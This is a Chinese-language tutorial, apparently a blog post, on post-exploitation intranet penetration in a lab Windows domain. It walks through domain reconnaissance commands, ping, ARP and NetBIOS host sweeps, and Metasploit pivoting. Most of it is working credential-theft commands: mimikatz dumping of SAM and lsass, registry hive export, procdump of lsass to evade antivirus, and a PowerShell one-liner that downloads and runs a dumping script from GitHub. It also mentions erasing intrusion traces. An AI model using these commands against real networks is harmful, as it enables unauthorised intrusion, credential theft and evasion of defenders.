1.防火墙穿透
2.木马免杀穿透
3.内网信息收集及目标定位
4.关于文件下载
而内网渗透也分为 域渗透 与 工作组渗透
域渗透:
1.域信息收集
2.获取域权限
3.dump域hash
4.内网权限维持
工作组渗透:
1.常规内网渗透
2.各种欺骗攻击
如果非要说内网渗透的思路:
1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器
2.收集到了足够多的信息可以扫一下开放端口 21 22 80 8080 443等确定敏感信息,以及之后渗透的方向
3.通过以上信息进行一定的弱口令尝试,针对特定的软件做banner采集利用,snmp测试读取和写入权限
4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。
5.进行敏感信息挖掘,内网密码收集嗅探,同时擦出入侵足迹。
内网渗透在我感觉一种是拿下内网一台主机权限,外网端口转发或者协议代理进内网,或者通过vpn连接进入内网,另一种是通过物理方法连入内网,比如通过网线,wifi热点进入内网等。不过最终的目的一样,只是连接过程不同,第一种比第二种要多一个”桥梁“。
如何拿下一个网站权限,这里不再多说,各有各的运气,各有各的技术。
具体的端口转发与协议代理可以看我上一篇文章:https://www.cnblogs.com/bmjoker/p/10264148.html
这里主要学习得到一台主机权限后,如何在主机所在内网翻出更大的浪花。
-----------------------------------
博主在本地搭建了域环境:
DC:windows2008 192.168.0.108
DM:windows2003 192.168.0.107
DM:windows xp 192.168.0.105
1|01 域信息收集
1|11.内网信息探测常用命令
1|22.网络环境的判断
1|33.内网存活主机探测
1|44.hash与明文
---------------------------
1.内网信息探测常用命令
拿下一台内网机器,首先要定位内网机器的架构。
收集基本信息:
ipconfig /all ------ 查询本机IP段,所在域等
net user ------ 本机用户列表
net localgroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group "domain admins" /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ------域用户添加到本机
net group "domain controllers" /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域,主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***]
net share ------ 查看SMB指向的路径[即共享]
net view ------ 查询同一域内机器列表
net view \\ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表tasklist /V ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新域策略cmdkey /l ----- 看是否保存了登陆凭证。(攻击者会先查看管理员是否保留了登陆凭证,方便后续的凭证抓取。) echo %logonserver% ----- 查看登陆域
这里有一个特殊的用户叫做krbtgt,该用户是用于Kerberos身份验证的账户,获得了该用户的hash,就可以伪造票据传递攻击
2.网络环境的判断
1.机器所处位置区域的判断;
2.机器在内网中角色的判断;
3.进出口流量是否连通的判断,是否出的去,进得来
-------------------------------------
(1) 位置的判断
位置判断是指机器处于网络拓扑中的某个区域,是在DMZ区,办公网,还是核心区,核心DB等多个位置,当然这里的区域并不是绝对的,只是大概的一个环境,不同的地方网络环境不一样,区域的界限也不一定明显。
(2) 角色的判断
机器角色的判断指判断已经控制的机器是普通Web服务器、开发测试服务器、公共服务器、文件服务器还是代理服务器、DNS服务器、存储服务器等等。具体的判断是通过对机器内的主机名、文件、网络连接等多种情况进行综合判断的。
(3)连通性的判断
出口流量是否连通的判断指机器是否能上外网这些,要综合判断协议(tcp\http\dns\icmp等协议)与端口(常见能出去的端口有80,8080,443,53,110,123等)。在这里还有一种是网络内网设置了代理服务器的情况,攻击者通常会查看环境变量set,主机名是否有proxy字样的机器,注册表是否有写明代理地址或指定pac代理文件等。
3.内网存活主机探测
icmp扫描
基于icmp的各种内网主机发现方式,如果防火墙过滤的icmp请求,这种方式基本就废了,但是基本上都不会过滤icmp协议的请求。除了本身自带的命令,也可以考虑使用第三方程序,比如cping。
在windows下使用icmp扫描
- cmd中执行如下命令,对整个C段进行ping扫描
cmd回显: for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"导出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)
- 利用powershell对目标内网进行icmp扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000" 目标网段,并非仅限C段,比如你也可以写成这种方式`192.168.0.1 - 192.168.0.254`
windows 2003与windows xp需要安装powershell1.0:官方下载地址
关于powershell在内网渗透中的作用,请看下一篇文章,这里不再细说。
在linux下使用各类icmp扫描
- shell中执行linux脚本进行扫描
#!/bin/bash
for ip in 192.168.0.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done
或者
for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
- nmap的icmp扫描
nmap -sn -PE 192.168.0.1/24
如果是物理方法连接内网,可直接进行探测。如果仅有一台内网主机权限,可以作端口转发,感觉比较靠谱的还是配置SOCKS5内网代理,使用proxychains配合nmap使用,或者使用msf中的模块先挂内网代理,使用scanner模块进行扫描,或者把内网已getshell的机器配置成跳板机,来借力打力。
arp扫描
在windows下使用arp扫描:
- arpscan工具扫描
start /b arpscan.exe -t 192.168.0.1/24 >> result.txt
arpscan.exe下载地址:https://www.2cto.com/soft/201001/16987.html#download
所需dll文件:https://cn.dll-files.com
- powershell调用arpscan扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" >> result.txt
在linux下使用arp扫描:
- nmap的arp扫描
nmap -sn -PR 192.168.0.1/24 尝试arp扫描
- netdiscover扫描
netdiscover -r 192.168.0.1/24 -i eth0
- msf的arp扫描模块
msf > use auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac 00:0c:29:92:fd:85
msf > set rhosts 192.168.0.1/24
msf > set threads 20
msf > set shost 192.168.0.133 (伪造源ip)
msf > run
- msf获取一个shell
meterpreter > getsystem 另外,在目标机器上扫描时,务必先提权(个人建议,会方便很多),不然扫描过程中可能会有些问题
meterpreter > run autoroute -s 192.168.0.1/24 (添加路由)
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24meterpreter > run
基于smb和netbios的内网主机发现方式
windows下nbt扫描:
nbtscan.exe -m 192.168.0.1/24 非常经典的小工具
nbtscan.exe工具下载地址:http://www.unixwiz.net/tools/nbtscan.html#download
linux下nbt扫描:
nbtscan.exe -r 192.168.0.1/24
域内扫描
net view dsquery computer 其实,域内最好用的也就是nbtscan了
如果计算机名很多的时候,可以利用bat批量ping获取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
4.hash与明文
抓取hash最好的工具莫过于mimikatz,不过免杀是个问题。
从 sam 数据库中提取目标系统本地用户密码 hash
- 在线读取sam数据库
(1) 使用mimikatz提取系统hash与明
privilege::debug
token::elevate
lsadump::samsekurlsa::logonPasswords (获取明文用户口令)
破解出的NTLM可以尝试CMD5破解:
或者尝试 ophcrack 破解:https://www.objectif-securite.ch/ophcrack.php
简单密码可以直接明文显示
(2) 使用pwdump7提取系统密码hash
下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip
需要管理员权限执行:
可以看到已经提取出hash
(3) 使用powershell脚本提取hash
hash脚本下载地址:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1
管理员权限执行powershell命令
powershell -ep bypass -f Invoke-PowerDump.ps1
- 离线读取 sam 数据库
获取当前系统的 sam 数据库文件,在另一个系统下读取
导出 sam 数据库文件有以下两种实现方法:
(1) 保存注册表
管理员权限,利用 reg 将 sam,system和 security文件导出来,并保存在本地:
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit
可以看到已提取出hash
参考链接:通过SAM数据库获得本地用户hash
通过 dump lsass.exe 进程数据离线免杀抓取明文
(1) 通过procdump.exe提取出明文
procdump.exe工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
有时遇到杀软,直接在目标机器上抓取密码可能会被杀,这时可以先利用 procdump 把 lsass.exe 进程中的数据导出到指定文件中,再把导出的文件下回到本地用 mimikatz 读取文件中的密码hash,以实现免杀效果,不过需要注意的是,本地读取文件的系统平台和目标的系统需要完全一致。
先在目标机器上执行:
32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
本地使用mimikatz读取文件中的密码hash
mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
可以看到已经提取出系统中的hash与明文
(2) powershell调用dump脚本
# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本机执行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"
关于windows10/2012r2 以后系统的明文密码抓取方式
在windows10/2012r2 之后的系统版本中,默认情况下是禁用了在内存缓存中存储系统用户明文密码,此时使用mimikatz去抓取密码,会显示null。
解决方法为:修改注册表 ---> 抓取windows server 2012 & 2016 & win8明文密码